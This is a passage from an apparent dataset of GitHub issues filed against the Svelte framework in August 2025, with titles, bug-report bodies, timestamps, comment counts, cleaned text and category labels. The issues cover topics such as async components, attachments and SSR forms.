RENDER (this should return TEST: 123)
<Renderer component={Test} />
```

Since I am passing `{id: 123}` to the `Test` component inside `Renderer` class, I'd expect it to show `TEST: 123` but I only get `TEST: `

### Reproduction

I have created a [REPL here](https://svelte.dev/playground/hello-world?version=5.38.5#H4sIAAAAAAAAA42QT0vDQBDFv8qwCG0hNNR_h5gWBXsVqb25HtbsxCwks8vuVC0h311S29TUWjzOmzeP37xakKpQJOJRhWDoDZzyqgrAFvSaVGUyKK3SqCGzlbOExEFEIjclBpE814LXrj1vBRHtwu6cG4d3LLnVXlXAY3pmiTdxiUhD5o3jmSQAUznrGZYYGHJvKxiM43bYHg5uJEuSvLUtkDR69J11J-ztlMZdvKTF_OF-voAhFyZAKOyq1OCRV55gOX9aJnB5dT2SlHbB3d_TusVoIN7kSBKRYPxkkbBfYRP9UcUP9H4X_cXRMiSXyFCD0dDAFM6cty4MR4cvpcVk9s1eG92kcTGZ_Y_toKs-3-_lScauppOo9a3fxO7tw9roBCbnF82o6VO_RIKVKT8MaZHkqgzYfAE3w5MergIAAA==)

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.14 Ubuntu 25.04 25.04 (Plucky Puffin)
    CPU: (24) x64 AMD Ryzen 9 7900X 12-Core Processor
    Memory: 39.76 GB / 62.01 GB
    Container: Yes
    Shell: 5.2.37 - /bin/bash
  Binaries:
    Node: 22.13.1 -... [TRUNCATED]",,2025-08-27 09:08:58+00:00,2025-08-27 09:23:58+00:00,2,nan,0.0104,passing props with render to a dynamically loaded component do not work describe the bug hello it seems that passing props to a dynamically loaded component using does nit work the case since i am passing to the component inside class i d expect it to show but i only get reproduction i have created a repl here logs system info shell system os linux ubuntu plucky puffin cpu x amd ryzen x core processor memory gb gb container yes shell bin bash binaries node truncated,others,0.7615
sveltejs/svelte,3353138140,inspect.trac output wrong message when you use nesty effect,"### Describe the bug

```Svelte
<script>
  let count = $state(0);
	let useless= $state(0)
  let max = $derived(count >= 4);

  $effect(() => {
		$inspect.trace('Outer Effect');
		count; 
    useless;
    $effect(() => {
			$inspect.trace('Inner Effect');
			max ; 
    });
  });
</script>

<button onclick={()=>{count++;}}>Count: {count}</button>
<button onclick={()=>{useless++;}}>useless: {useless}</button>
```
https://svelte.dev/playground/9a47c3c8356a4b6faa78451e495dd72d?version=5.38.3

You can see output in the console ,  inspect.trac in Inner effect work bad. 

<img width=""566"" height=""1080"" alt=""Image"" src=""https://github.com/user-attachments/assets/2b3692e0-2b47-490b-ac90-daf9623ec7ec"" />

Inner effect rerun brcause we change `count`  tracked by outter effect,  but in console , you can see the derived in inner effect became `blue` 



### Reproduction

https://svelte.dev/playground/9a47c3c8356a4b6faa78451e495dd72d?version=5.38.3

### Logs

```shell

```

### System Info

```shell
svelte playground with latest version
```

### Severity

annoyance",,2025-08-25 20:34:36+00:00,2025-08-25 20:42:58+00:00,1,nan,0.0058,inspect trac output wrong message when you use nesty effect describe the bug you can see output in the console inspect trac in inner effect work bad inner effect rerun brcause we change tracked by outter effect but in console you can see the derived in inner effect became reproduction logs system info severity annoyance,others,-0.8047
sveltejs/svelte,3350815797,BUG: Variable not defined when awaited and rendered inside a snippet,"### Describe the bug

I’m using the experimental `async` flag.

When rendering an awaited variable inside a snippet — without explicitly declaring it in the snippet parameters — the console throws the following error:

```
Uncaught (in promise) ReferenceError: value is not defined
```

I’m currently on **v5.38.3**. This was working correctly in **v5.38.2**.


### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-ry9pp9kr?file=src%2Froutes%2F%2Bpage.svelte

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    svelte: 5.38.3 => 5.38.3
```

### Severity

blocking an upgrade",,2025-08-25 07:47:29+00:00,2025-08-25 10:21:39+00:00,0,nan,0.1071,variable not defined when awaited and rendered inside a snippet describe the bug i m using the experimental flag when rendering an awaited variable inside a snippet without explicitly declaring it in the snippet parameters the console throws the following error i m currently on v this was working correctly in v reproduction logs system info severity blocking an upgrade,bug,-0.8152
sveltejs/svelte,3349561846,Remote form().for() shares instance cache between forms during SSR,"### Describe the bug

Remote `form()` functions return the same instance from their `for()` methods when not client-side rendering. All forms using the same key will initially use the form action for the first form to use the key.

The expected behavior is that each form function has its own instance cache (so for example, an `updatePost` and `deletePost` form could each refer to the same `post.id`). This is how `for()` seems to behave during CSR, but *not* during SSR, which affects environments where CSR or JavaScript are disabled.

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-qfi3gy8i

Inspecting the second form element reveals that it has the same `action` as the first form. Changing the value of `csr` in `+page.js` and refreshing corrects this.

### Logs

```shell

```

### System Info

```shell
From repro terminal:


  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    svelte: ^5.25.0 => 5.38.3
```

### Severity

annoyance",,2025-08-24 14:15:19+00:00,2025-08-24 15:00:15+00:00,1,nan,0.0312,remote form for shares instance cache between forms during ssr describe the bug remote functions return the same instance from their methods when not client side rendering all forms using the same key will initially use the form action for the first form to use the key the is that each form function has its own instance cache so for example an and form could each refer to the same this is how seems to behave during csr but not during ssr which affects environments where csr or javascript are disabled reproduction inspecting the second form element reveals that it has the same as the first form changing the value of in and refreshing corrects this logs system info severity annoyance,others,-0.0644
sveltejs/svelte,3349349199,Allow attachments to return non-void,"### Describe the problem

maybe this should be a discussion. if so, feel free to convert.

this Svelte attachment picks black or white text color to maximize contrast with `node`'s background color:


```ts
export function contrast_color(
  text_color_threshold: number = 0.7,
  choices: [string, string] = [`black`, `white`], // one dark and one light color (in that order)
) {
  return (node: HTMLElement | null) => {
    const light_bg = luminance(get_bg_color(node)) > text_color_threshold
    const text_color = light_bg ? choices[0] : choices[1] // white text for dark backgrounds, black for light
    if (node) node.style.color = text_color
    return text_color
  }
}
```

in some cases, i'd like to call it outside a Svelte component and have it return the text color it would apply to the `node`:

```ts
const text_color = contrast_color(0.6)(null)
```

unfortunately, returning the color string from the attachment raises a type error when applied to a Svelte component:

> Type `string` is not assignable to type `void | (() => void)`

<img width=""2312"" height=""588"" alt=""Image"" src=""https://github.com/user-attachments/assets/37520571-7610-4cd3-9ea5-11a059f63f8c"" />

### Describe the proposed solution

maybe the allowed attachment return type could be broadened to enable this?

### Importance

nice to have",,2025-08-24 09:37:47+00:00,2025-08-25 08:31:24+00:00,2,nan,0.9539,allow attachments to return non void describe the problem maybe this should be a discussion if so feel free to convert this svelte attachment picks black or white text color to maximize contrast with s background color in some cases i d like to call it outside a svelte component and have it return the text color it would apply to the unfortunately returning the color string from the attachment raises a type error when applied to a svelte component type is not assignable to type describe the proposed solution maybe the allowed attachment return type could be broadened to enable this importance nice to have,others,0.9267
sveltejs/svelte,3349008278,Unmount performance regression since 5.36.0,"### Describe the bug

I noticed a significant increase in unmout time (during component replacement) after switching to Svelte 5.36.0 (`experimental.async` disabled), from 55 ms to 8.5 seconds for the dev server and up to 3 seconds for the production build.

Perhaps this is related to https://github.com/sveltejs/svelte/issues/16618 but i don't use stores at all.

### Reproduction

1. Open [SJSF playground](https://x0k.dev/svelte-jsonschema-form/playground2/#N4IgzgxgFgpgtgQxALlAEkrRKRQC54AOyA9CQFZgD2AdgLSbwIB0VATgOYkAmbCAZnjoAGAOwlGiAMQgANCDQBLbjnxEwpEjAAeCOIQA2MZhCpwJ0JmBIJChxRAR5FtOqZr9FHZpVpyQznhGOACCdgYOTi40AAQAwrSeHACufM60MQDKltjy3DCQbIqE6TQ42VgIMfzsMbb2jqUx+YZUAJ5wMDR4dTTcMe5JqVEZiDQIHPBdeP54bYQwOFQARuQwEDPybDAAjsmK2yrIANognXgI3E5I8vURjdH+XQBuB7Sd3SAAurfc3IqlBAGAAKbCoCzYzgKKH4QLAMHkhDBEKhYBQoHOl2u6IC80WyBAKzWG382z2BxgR1O406-meMDYYEePxASPBDNROJp+NAcwWODAeCKNA4-kITjwDLKBIAescEHQAF5feVK4R0ACcdC+ACpVYr1Rqvmh-HBFDQADJdDh4KAoADM8kQ2itIttKAArMIAL7yemMx6oXH8gmC4WixESqU4GUAHVj3AA1PHmPGkym04mABR0fUhOgALUNX0TAEoAPwm30gfKFYqlHF8-HgIXmiNnBAu63u5AAJmEPvkFw4aKDTZwCDYfDa-gB8FHvLxAtbItN5tdNrtyAAjE7Oxue-bByBkjRFHsYABJSVwUdC5IIjvaa-zlDb4+Ic0Xc0MxtLglEusmwgGS+yHCg1J6Is8hMIoBjfIiyIcoo0JBtyf4hi24Zrpa3Zbr2e5dm6W5etWsHwWO-5YW2-g1GwiAzAS5EgNWkp6BhzZhjRME0MkcAQSA-Bgt0XQqPIywIBAADWon+PkzzgmiTorHBixfN6Gkabc4SRA2lGYYBJJbLsYGUgJ45bKezi0sZ1CpBA0IsmyKIoQuwY8u5y7YTxfECQA7jAywMAyrwOf4tiKP4fnsDJbBydcEnwv4jiWN81ZsFZii0vpzaGcBoEUlSIAGAgIrJBM0EgP6TJ+E5SGQq5OIlWVFUcV53EgF0vknCA5AIM8CB1iUYptLafjyH1A3+BwVCkskgp... [TRUNCATED]",perf,2025-08-24 01:33:27+00:00,2025-10-23 18:29:22+00:00,6,perf,60.7055,unmount performance regression since describe the bug i noticed a significant increase in unmout time during component replacement after switching to svelte disabled from ms to seconds for the dev server and up to seconds for the production build perhaps this is related to but i don t use stores at all reproduction open sjsf playground truncated,bug,0.0129
sveltejs/svelte,3348794056,Exported functions don't work on async components,"### Describe the bug

This component is broken:
```svelte
<script>
  export function get_name() {
    return 'world';
  }
  // Comment this out and it works
  await Promise.resolve();
</script>
```

because it defines `get_name` inside the `async function $$body`, but calls `$.pop` in the actual component function. This causes a ReferenceError.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.38.2#H4sIAAAAAAAAA3VRwWrDMAz9FWEGSaEk9yzdGLvsuPsyhpsom5ljB1tpOkL-fVJWFlrai43ekx56T5NyukNVqBe01sPog20gxcYQNhu1Va2xGFXxNin66aVPAMZPU099n8UDWhJsryNew2vvCB2xjCpjHUxPD5WryHS9DwTPnn_HPLTBd5Bk-T9ykkjuuZ0HLBLUzMEO7iJpwnTDTJmvmq5c1fbGNQV9mbibZGiGfOn487lAj9kn0odsnG5m3pPwSKqgMOC8veH3crVz11fYG97xuHhvB1eT8Q7WRWASvqKANAQHyXKRJQGa5clzSawTh2IO_ECgXQOG5HjfUXr0qLl85ThNxCxg9PZwEda53XeutLEjR6aKVtuI8y_ulGUvGQIAAA==)

### Logs

```shell
Uncaught ReferenceError: get_name is not defined

  in <unknown>
  in __wrapper.svelte
    get get_name playground:output:4786
    get playground:output:2591
    App playground:output:4809
```

### System Info

```shell
svelte 5.38.2
```

### Severity

blocking an upgrade",,2025-08-23 20:41:33+00:00,2025-11-25 21:42:44+00:00,4,nan,94.0425,exported functions don t work on async components describe the bug this component is broken because it defines inside the but calls in the actual component function this causes a referenceerror reproduction repl logs system info severity blocking an upgrade,others,-0.7543
sveltejs/svelte,3347163336,Cannot call `unmount` method with using Attachment and $state,"### Describe the bug

In Attachment, mount component programmatically like below.

```ts
const attachement: Attachement<HTMLElement> = (element) => {
	let componentInstance = $state<ReturnType<typeof mount>>();
	const target = document.createElement('div');
	componentInstance = mount(Component, { target }); // if use component instance with $state, cannnot call unmount.
	// const componentInstance = mount(Component, { target }); // This is works

	return () => {
		console.log('hidden attachement');
		if (componentInstance) {
			// This warning appears in console on calling this.
			//
			// [svelte] lifecycle_double_unmount
			// Tried to unmount a component that was not mounted
			// https://svelte.dev/e/lifecycle_double_unmount
			//
			void unmount(componentInstance);
		}
	}
}
```

Then use this like below

```svelte
<button onclick={() => visible = !visible}>Toggle `hello`</button>

{#if visible}
	<h1 {@attach attachement}>hello</h1>
{/if}
```

If visible changes to `false`, attachement teardown is called.
But `unmount(componentInstance` is not works.
And this warning is appear.

```
[svelte] lifecycle_double_unmount
Tried to unmount a component that was not mounted
https://svelte.dev/e/lifecycle_double_unmount
```


### Workaround

If use `componentInstance` without `$state`, it works.

```
// NG
let componentInstance = $state<ReturnType<typeof mount>>();
const target = document.createElement('div');
componentInstance = mount(Component, { target });

// OK
const target =... [TRUNCATED]",good first issue,2025-08-23 00:40:44+00:00,2025-09-17 23:30:46+00:00,8,good first issue,25.9514,cannot call method with using attachment and state describe the bug in attachment mount component programmatically like below then use this like below if visible changes to attachement teardown is called but is not works and this warning is appear workaround if use without it works ng let componentinstance state const target document createelement div componentinstance mount component target ok const target truncated,bug,0.2204
sveltejs/svelte,3344985811,Uncaught (in promise) TypeError: Cannot read properties of null (reading 'increment'),"### Describe the bug

Actual code:

```
const session = $derived(await getCurrentSession());
const items = $derived(await getSessionItems(session.id));
const sessionHasItems = $derived(items.length > 0);
```

When chaining async $derived statements here, I get an unnecessary waterfall warning, then upon navigation (and probably other actions, based on the repo below, created by Patrick on discord) a `Uncaught (in promise) TypeError: Cannot read properties of null (reading 'increment')` error is thrown, bombing out the application.

### Reproduction

https://svelte.dev/playground/5b6c8374b0cf434196aa359ad60fdbcb?version=5.38.2#H4sIAAAAAAAACo1QXU-EMBD8K01jAhcv8I6AAf-CDxrxofQWbITStMsdhPDfLR_enYrRp93uzM50Z6CS1UADmjPkb56QXEMNEknelnRPC1GBocHLQLFXE20a2Pm6lCjlmSNUOM1yZmBrzhuJVtHK0NBwLRTGmcxQ1KrRSBJS6KYmjucn64pzdwWnZzi9hi2hAiQPTa1IRG4MMgQ33a1Q0UqOopEEm7KswN2RYRpnuPKXEkXW_N46BCSZLcdMhv7lhzLMW0Sr0kheCf4eDYvcGD_ONfQX3HLDWdG3nb0XoUMaoG5h3P-W23Zqf2bGTC85OZ9XAj5djtOArZbE6ZzPa7YWnt3u-0ZHbonTX7Zssf4GLWCzPYAWRzi47MQErpZz0Cup3yRNNhPra6AqHrox9FW89P3c_y-ydDOydDsyFac_lV_ti4nqJOSBBgWrDIwfC3HBDf4CAAA

### Logs

```shell
deriveds.js:139 Uncaught (in promise) TypeError: Cannot read properties of null (reading 'increment')
    at deriveds.js:139:24
    at update_reaction (runtime.js:292:16)
    at update_effect (runtime.js:472:18)
    at create_effect (effects.js:126:4)
    at async_effect (effects.js:339:9)
    at Module.async_derived (deriveds.js:118:2)
    at $$body (+page.svelte:18:13)
(anonymous)	... [TRUNCATED]",,2025-08-22 10:22:41+00:00,2025-08-22 10:24:53+00:00,0,nan,0.0015,uncaught in promise typeerror cannot read properties of null reading increment describe the bug actual code when chaining async derived statements here i get an unnecessary waterfall warning then upon navigation and probably other actions based on the repo below created by patrick on discord a error is thrown bombing out the application reproduction logs shell deriveds js uncaught in promise typeerror cannot read properties of null reading increment at deriveds js at update reaction runtime js at update effect runtime js at create effect effects js at async effect effects js at module async derived deriveds js at body page svelte anonymous truncated,bug,-0.5267
sveltejs/svelte,3341767272,There is no value attribute on the <input> tag in the DOM tree.,"### Describe the bug

https://svelte.dev/playground/bddf99ab129444138c6bec09ccf1fe3e?version=5.38.2

We pass the value from the store into the child component, but in the DOM tree, as you can see, the <input> tag does not have a value attribute.

### Reproduction

Need to add a value attribute to a tag

### Logs

```shell

```

### System Info

```shell
Browsers
```

### Severity

annoyance",,2025-08-21 13:28:39+00:00,2025-08-22 08:06:38+00:00,12,nan,0.7764,there is no value attribute on the tag in the dom tree describe the bug we pass the value from the store into the child component but in the dom tree as you can see the tag does not have a value attribute reproduction need to add a value attribute to a tag logs system info severity annoyance,others,0.4678
sveltejs/svelte,3341427616,Custom elements documentation doesn't mention $host,"### Describe the bug

I'm converting a Svelte custom element from v4 to v5 and needed a way to get the host element in my component code.

The custom elements doc page:  
   https://svelte.dev/docs/svelte/custom-elements
does not mention the `$host()` rune -- there is a link to it in the sidebar, but there is no mention of it on that page.

A short paragraph pointing to the rune would have saved me 30-40 minutes of trolling through stack overflow/github issues trying to find out the magic incantation.

### Reproduction

- Go to the custom elements page:
https://svelte.dev/docs/svelte/custom-elements

- Note that there is no reference to the `$host()` rune -- which is only applicable in custom elements -- on that page.

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.6
    CPU: (12) arm64 Apple M2 Pro
    Memory: 124.95 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.18.0 - ~/.volta/tools/image/node/20.18.0/bin/node
    Yarn: 1.22.22 - ~/.volta/tools/image/yarn/1.22.22/bin/yarn
    npm: 10.8.2 - ~/.volta/tools/image/node/20.18.0/bin/npm
  Browsers:
    Chrome: 139.0.7258.129
    Safari: 18.6
  npmPackages:
    svelte: ^5.0.0 => 5.34.7
```

### Severity

annoyance",documentation,2025-08-21 11:47:56+00:00,2026-04-27 17:37:45+00:00,3,documentation,249.2429,custom elements documentation doesn t mention host describe the bug i m converting a svelte custom element from v to v and needed a way to get the host element in my component code the custom elements doc page does not mention the rune there is a link to it in the sidebar but there is no mention of it on that page a short paragraph pointing to the rune would have saved me minutes of trolling through stack overflow github issues trying to find out the magic incantation reproduction go to the custom elements page note that there is no reference to the rune which is only applicable in custom elements on that page logs system info severity annoyance,documentation,-0.705
sveltejs/svelte,3340056791,actions and attachments don't work in async components,"### Describe the bug

All attachments and actions are broken in any component with an `await` in its script block. They don't get called immediately and I'm unable to reproduce when they eventually do get called.

This reproduces it, and commenting out the promise works.
```svelte
<script>
  await Promise.resolve()
</script>

<div {@attach () => { console.log('never runs') }}></div>
```

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.38.2#H4sIAAAAAAAAA52S3W6cMBCFX2XkVAKkzbJdJa1KYdP0vlKlXsZV5MLAWjI2wgObCPHulQ37Q5q96Z115szx5xkPTIsaWcIEkcj3NWqybMVKqdCy5Glg9Nq4shPY6mh-bJq17VGR0_4Ii-_pudHk4xKW2ryVDe245iQOQhL8bE0tLa5btEb1GEaupJBg4sACMvhgSRCGpVAWo68nQ07S6CuGstO-PLvCCAYnc7roorZDbx65TuMzmU4L2cPwbSIAbQqEbHcKOHOdA0b_ose59ADDyfUAwSvaABIItAn8TYXsd_MlncVkIpoCJuZWaBdxJL0SwVaM8IVY4jDG1ZUN_eqrdze00P_dENSm6BTujsOuTacJi2ejc4QM_KSXg7Z706ni2RvP45YlhJe9EbRIXasvEji9CT-NldNsvr6pi_-0KA03snyDNDpTavvq6mpzo61RuFamCoPJInUFtq-C6GLNnNIKZJFxZvuKs1njlDaC9uD0H9sNfIIv8PGzur2_vecM4mNnXPlTGtvenYZYlu5RDquXePhuXjLONrCB7R1s7zj7D1jYLnDTziLsWywzzm48saeZCJaf6PeKkZDqIHXBEr-h8S9BbagTGAQAAA==)

### Severity

blocking all usage of svelte",,2025-08-21 02:24:13+00:00,2025-09-08 21:26:40+00:00,2,nan,18.7934,actions and attachments don t work in async components describe the bug all attachments and actions are broken in any component with an in its script block they don t get called immediately and i m unable to reproduce when they eventually do get called this reproduces it and commenting out the promise works reproduction repl severity blocking all usage of svelte,others,-0.7269
sveltejs/svelte,3333277603,Reconsidering TypeScript for Svelte Compiler Internals,"### Describe the problem

I would like to respectfully open a discussion regarding the possibility of moving the compiler and internal codebase back to TypeScript. I fully appreciate the rationale behind the initial decision to use JavaScript with JSDoc annotations, as articulated by Rich Harris: “We also eliminate an entire class of annoying papercuts that will be familiar to anyone who has worked with the uneven landscape of TypeScript tooling” ([reddit.com](https://www.reddit.com/r/programming/comments/13f9mdx/typescript_is_not_worth_it_for_developing/?utm_source=chatgpt.com)). The concerns about tooling friction, dual compilation, and iteration speed were entirely valid at the time.

However, the development landscape has evolved significantly. Node 23.6 now allows TypeScript files to run natively, substantially reducing the historical overhead of compilation. Tooling has also improved, with solutions such as tsx providing near-instant feedback loops. Many of the previous bottlenecks around compile-then-run workflows are now largely obsolete.

At the same time, the developer ecosystem has shifted. More contributors today are TypeScript-native rather than relying on JavaScript with TypeScript adaptations. Reintroducing TypeScript internally could broaden the pool of potential maintainers, reduce onboarding friction, and enable the team to take advantage of modern TypeScript features and stricter typing guarantees without compromising speed or simplicity.

I raise this sugg... [TRUNCATED]",,2025-08-19 07:40:06+00:00,2025-08-20 14:04:24+00:00,6,nan,1.2669,reconsidering typescript for svelte compiler internals describe the problem i would like to respectfully open a discussion regarding the possibility of moving the compiler and internal codebase back to typescript i fully appreciate the rationale behind the initial decision to use javascript with jsdoc annotations as articulated by rich harris we also eliminate an entire class of annoying papercuts that will be familiar to anyone who has worked with the uneven landscape of typescript tooling reddit com the concerns about tooling friction dual compilation and iteration speed were entirely valid at the time however the development landscape has evolved significantly node now allows typescript files to run natively substantially reducing the historical overhead of compilation tooling has also improved with solutions such as tsx providing near instant feedback loops many of the previous bottlenecks around compile then run workflows are now largely obsolete at the same time the developer ecosystem has shifted more contributors today are typescript native rather than relying on javascript with typescript adaptations reintroducing typescript internally could broaden the pool of potential maintainers reduce onboarding friction and enable the team to take advantage of modern typescript features and stricter typing guarantees without compromising speed or simplicity i raise this sugg truncated,others,0.8748
sveltejs/svelte,3330922675,Cannot read properties of null (reading 'length') after updating svelte from 5.38.1 to 5.38.2,"### Describe the bug

After updating svelte from 5.38.1 to 5.38.2, I get the following error 

```
Uncaught TypeError: Cannot read properties of null (reading 'length')
    at flush_queued_effects (chunk-4EMMLRQK.js?v=ca8f2691:2242:31)
    at _Batch.process (chunk-4EMMLRQK.js?v=ca8f2691:1961:7)
    at flush_effects (chunk-4EMMLRQK.js?v=ca8f2691:2206:13)
    at _Batch.flush (chunk-4EMMLRQK.js?v=ca8f2691:2075:7)
    at chunk-4EMMLRQK.js?v=ca8f2691:2135:17
    at dequeue (chunk-4EMMLRQK.js?v=ca8f2691:1837:3)
```

### Reproduction

Open the following two links in the browser

- Working example with svelte 5.38.1 https://stackblitz.com/edit/github-4kfsrzr5?file=package.json%3AL21
- Not working example with svelte 5.38.2 https://stackblitz.com/edit/github-4kfsrzr5-cyspqsmh?file=package.json%3AL21


In the second example, the following error will show in the console:

```
Uncaught TypeError: Cannot read properties of null (reading 'length')
    at flush_queued_effects (chunk-4EMMLRQK.js?v=ee419023:2242:31)
    at _Batch.process (chunk-4EMMLRQK.js?v=ee419023:1961:7)
    at flush_effects (chunk-4EMMLRQK.js?v=ee419023:2206:13)
    at _Batch.flush (chunk-4EMMLRQK.js?v=ee419023:2075:7)
    at chunk-4EMMLRQK.js?v=ee419023:2135:17
    at dequeue (chunk-4EMMLRQK.js?v=ee419023:1837:3)
```

### Logs

```shell
N/A
```

### System Info

```shell
N/A
```

### Severity

annoyance",,2025-08-18 14:15:15+00:00,2025-08-26 19:59:47+00:00,18,nan,8.2393,cannot read properties of null reading length after updating svelte from to describe the bug after updating svelte from to i get the following error reproduction open the following two links in the browser working example with svelte not working example with svelte in the second example the following error will show in the console logs system info severity annoyance,others,-0.8834
sveltejs/svelte,3328276723,Hash styles by filename rather than contents,"### Describe the problem

Svelte adds `svelte-xyz123` hashes to CSS rules and the corresponding elements, so that styles don't affect other components. This hash is based on the contents of the `<style>` block.

This works but it means that the hashes [change frequently between deployments](https://bsky.app/profile/uncenter.dev/post/3lwlrsfjmo22l). It might be better to default to hashing based on the filename instead. I think the reason we didn't originally do this was that not all project setups made the filename available to the compiler, but now that most people are using `vite-plugin-svelte` that's probably not an issue any more.

### Describe the proposed solution

Update this...

https://github.com/sveltejs/svelte/blob/7b2d7746277dae6372ed7b836ad895bde536dc89/packages/svelte/src/compiler/validate-options.js#L73-L75

...to this:

```js
cssHash: fun(({ css, filename, hash }) => {
  return `svelte-${hash(filename ?? css)}`;
}),
```

### Importance

nice to have",css,2025-08-17 12:10:58+00:00,2025-09-10 20:52:12+00:00,2,css,24.362,hash styles by filename rather than contents describe the problem svelte adds hashes to css rules and the corresponding elements so that styles don t affect other components this hash is based on the contents of the block this works but it means that the hashes change frequently between deployments it might be better to default to hashing based on the filename instead i think the reason we didn t originally do this was that not all project setups made the filename available to the compiler but now that most people are using that s probably not an issue any more describe the proposed solution update this to this importance nice to have,others,0.9102
sveltejs/svelte,3328028340,Is it theoretically possible to replace Svelte with HTML in a project?,"### Describe the problem

Although Svelte files are a superset of HTML files and are more suitable for Svelte parsing, the filename is somewhat lengthy. IDEs require additional plugins to properly display them, and even in AI inquiries, there is no code coloring. This is not very ergonomic...

### Describe the proposed solution

Could the next version switch to using a more traditional HTML file format?

### Importance

nice to have",,2025-08-17 06:44:18+00:00,2025-08-17 06:56:00+00:00,1,nan,0.0081,is it theoretically possible to replace svelte with html in a project describe the problem although svelte files are a superset of html files and are more suitable for svelte parsing the filename is somewhat lengthy ides require additional plugins to properly display them and even in ai inquiries there is no code coloring this is not very ergonomic describe the proposed solution could the next version switch to using a more traditional html file format importance nice to have,others,0.4019
sveltejs/svelte,3327672525,Two way binding to a property of an object in an array update is delayed,"### Describe the bug

If I use a complex two way binding to read and update a value on an object in an array that is inside a class _(see minimal reproduction code below)_ I get weird behaviour where the update doesn't happen until a second input. 

```html
<script>
	class MyStore {
		arrayOfComplexObjects = $state([{ value: ""value"" }])
		
		updateObject = (x) => {
			this.arrayOfComplexObjects = this.arrayOfComplexObjects.map(_ => ({ value:x }))
		}
	}
	
	const myStore = new MyStore();
</script>

{#each myStore.arrayOfComplexObjects as obj}
	<div>
		{obj.value}
	</div>
	<input bind:value={() => obj.value, (x) => myStore.updateObject(x)} />
{/each}

```

This issue does not occur on version 5.35.1.

### Reproduction

The issue is reproduced in a minimal reproduction here

https://svelte.dev/playground/ac953fd28f2941ef8a8f105461d061f3?version=5.38.1

### Logs

No relevant logs.

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (12) x64 AMD Ryzen 5 PRO 8540U w/ Radeon 740M Graphics
    Memory: 3.54 GB / 14.67 GB
  Binaries:
    Node: 22.17.0 - ~\AppData\Local\Volta\tools\image\node\22.17.0\node.EXE 
    npm: 10.9.2 - ~\AppData\Local\Volta\tools\image\node\22.17.0\npm.CMD    
  Browsers:
    Edge: Chromium (139.0.3405.102)
  npmPackages:
    svelte: ^5.0.0 => 5.37.2
```

### Severity

blocking an upgrade",,2025-08-16 21:34:57+00:00,2025-08-25 21:14:18+00:00,1,nan,8.9857,two way binding to a property of an object in an array update is delayed describe the bug if i use a complex two way binding to read and update a value on an object in an array that is inside a class see code below i get weird behaviour where the update doesn t happen until a second input this issue does not occur on version reproduction the issue is reproduced in a here logs no relevant logs system info severity blocking an upgrade,others,-0.7906
sveltejs/svelte,3325053344,setContext fails in child component after await in script tag,"### Describe the bug

Components using `setContext` cause application to crash if rendered after an `await` in the component script tag. 
The issue is seemingly __not__ present when running dev server, only in production builds.

### Reproduction

https://svelte.dev/playground/59116dbb8f1e484b8aefd3b0ebd303eb?version=latest


### Logs

```shell
Error
Svelte error: set_context_after_init
`setContext` must be called when a component first initializes, not in a subsequent effect or after an `await` expression
https://svelte.dev/e/set_context_after_init
```

### System Info

```shell
System:
    OS: macOS 15.6
    CPU: (8) arm64 Apple M1 Pro
    Memory: 79.70 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.14.0 - ~/.nvm/versions/node/v22.14.0/bin/node
    npm: 10.9.2 - ~/.nvm/versions/node/v22.14.0/bin/npm
    pnpm: 10.9.0 - ~/.nvm/versions/node/v22.14.0/bin/pnpm
  Browsers:
    Chrome: 139.0.7258.128
    Safari: 18.6
  npmPackages:
    svelte: ^5.0.0 => 5.38.1
```

### Severity

blocking an upgrade",,2025-08-15 11:23:19+00:00,2025-10-25 15:16:30+00:00,7,nan,71.1619,setcontext fails in child component after await in script tag describe the bug components using cause application to crash if rendered after an in the component script tag the issue is seemingly not present when running dev server only in production builds reproduction logs system info severity blocking an upgrade,others,-0.9001
sveltejs/svelte,3324977781,Svelte compiler points to wrong location when HTML tag is improperly closed inside a block,"### Describe the bug

When a <button> tag is incorrectly closed as <button/> instead of </button> inside an {#if} block, the Svelte compiler throws ""Unexpected block closing tag"" and highlights the {/if} line, rather than the actual problematic HTML tag.
<img width=""784"" height=""242"" alt=""Image"" src=""https://github.com/user-attachments/assets/510ebedf-bc9c-456f-bab1-6b5f193287c4"" />

### Reproduction

Create a Svelte component with:
```
{#if true}
	<button>Click me<button/>
{/if}
```


### Logs

```shell

```

### System Info

```shell
not important
```

### Severity

annoyance",,2025-08-15 10:40:39+00:00,2025-08-15 21:13:59+00:00,1,nan,0.4398,svelte compiler points to wrong location when html tag is improperly closed inside a block describe the bug when a tag is incorrectly closed as instead of inside an if block the svelte compiler throws unexpected block closing tag and highlights the if line rather than the actual problematic html tag reproduction create a svelte component with logs system info severity annoyance,others,-0.9509
sveltejs/svelte,3324623913,Attachment in Async / Await Component not working,"### Describe the bug

In my App (in Dev Mode) i experienced that my attachement didn't trigger when the node was added to the DOM. Only after the component refreshed ( from HMR i guess ) the attachment triggered and in my case rendered a map. 

I have a small repl where it doesn't work either but i don't know if async is activated on the Svelte Playground.  Maybe this is the expected output and i'm doing something wrong in the repl. 

Thanks for your help ♥️

### Reproduction

https://svelte.dev/playground/8fe0eb6dbe8943b5ba057de9b6259ecb?version=latest

### System Info

```shell
svelte: 5.38.1
```

### Severity

